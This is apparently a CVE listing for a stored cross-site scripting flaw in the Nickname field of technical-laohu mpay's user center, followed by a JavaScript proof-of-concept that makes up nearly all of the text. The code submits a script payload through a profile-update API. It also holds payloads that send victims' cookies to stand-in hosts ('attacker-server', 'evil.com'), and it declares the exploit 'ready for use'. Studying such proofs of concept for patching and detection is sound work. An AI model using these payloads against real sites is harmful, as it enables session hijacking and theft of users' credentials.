CVE-2026-1151 | technical-laohu mpay用户中心Nickname参数跨站脚本漏洞

// CVE-2026-1151 PoC - technical-laohu mpay Nickname XSS // This PoC demonstrates the stored XSS vulnerability in the User Center nickname field // Malicious payload to be injected into the Nickname field const xssPayload = '<script>alert("XSS Triggered - CVE-2026-1151")</script>'; // Attack scenario 1: Direct API submission async function exploitViaAPI() { const targetURL = 'https://target-server/api/user/profile'; const exploitData = { username: 'attacker_account', nickname: xssPayload, // Malicious XSS payload in nickname field email: '[email protected]', action: 'update_profile' }; try { const response = await fetch(targetURL, { method: 'POST', headers: { 'Content-Type': 'application/json', 'Authorization': 'Bearer <legitimate_token>' }, body: JSON.stringify(exploitData) }); console.log('Profile updated with XSS payload'); console.log('Payload stored successfully'); } catch (error) { console.error('Exploitation failed:', error); } } // Attack scenario 2: Cookie stealing payload const cookieStealPayload = '<script>fetch("https://attacker-server/steal?c="+document.cookie)</script>'; // Attack scenario 3: Session hijacking payload const sessionHijackPayload = '<img src=x onerror="fetch(\'https://evil.com/log?cookie=\'+document.cookie)">' // Trigger verification function verifyVulnerability() { // When victim visits profile page, XSS will execute console.log('XSS Payload:', xssPayload); console.log('Cookie Steal Payload:', cookieStealPayload); console.log('Exploit ready for use against mpay <= 1.2.4'); } exploitViaAPI(); verifyVulnerability();